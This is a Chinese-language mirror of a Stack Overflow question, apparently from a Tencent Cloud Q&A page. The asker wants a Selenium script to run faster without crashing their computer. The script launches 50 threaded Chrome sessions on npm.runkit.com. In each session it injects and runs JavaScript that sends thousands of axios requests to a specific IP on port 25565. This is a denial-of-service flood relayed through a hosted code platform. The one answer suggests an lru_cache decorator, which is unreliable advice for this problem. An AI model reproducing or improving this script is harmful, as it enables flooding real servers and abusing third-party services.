首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >有没有办法在不使selenium崩溃的情况下打开多个页面或浏览器?

有没有办法在不使selenium崩溃的情况下打开多个页面或浏览器?
EN

Stack Overflow用户
提问于 2020-12-13 06:09:57
回答 1查看 56关注 0票数 0

我想知道有没有办法打开几个页面或浏览器与同一网站做相同的功能,而不崩溃或消耗大量cpu的一些方法,打开所有的浏览器或页面非常快,也许在几秒钟或1分钟内,有没有办法优化这个脚本,使它不会崩溃我的电脑?执行所有这些功能不需要100%优化,只需使用计算机以某种方式在打开所有页面的大约15秒后做出响应

代码语言:javascript
复制
import time
import threading
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.action_chains import ActionChains
urls = 'https://npm.runkit.com/'

def e():

 driver = webdriver.Chrome()
 driver.get("https://npm.runkit.com/")
 WebDriverWait(driver, 20).until(EC.frame_to_be_available_and_switch_to_it((By.XPATH,"//iframe[starts-with(@src, 'https://runkit.com/e/iframe')]")))
 time.sleep(10)
 element = WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "div.CodeMirror")))
 ActionChains(driver).move_to_element(element).click().send_keys("var axios = require('axios')\nvar i = 1;\nwhile (i < 1200) {\n    axios.get('http://190.115.196.123:25565/')    \ni = i + 0.1;\n}").perform()
 driver.find_element_by_xpath('/html/body/div/div/div/div/div/div/div/div[3]/div/div/div/div[2]/div[2]/div[1]/button').click()

for i in range(50):
    t = threading.Thread(target=e)
    t.start()

越快越好

EN

回答 1

Stack Overflow用户

发布于 2020-12-13 06:40:06

您可以使用functoolslru_cache装饰器来优化CPU的消耗。

代码语言:javascript
复制
from functools import lru_cache

@lru_cache
def e():
    ...

...
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/65270330

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档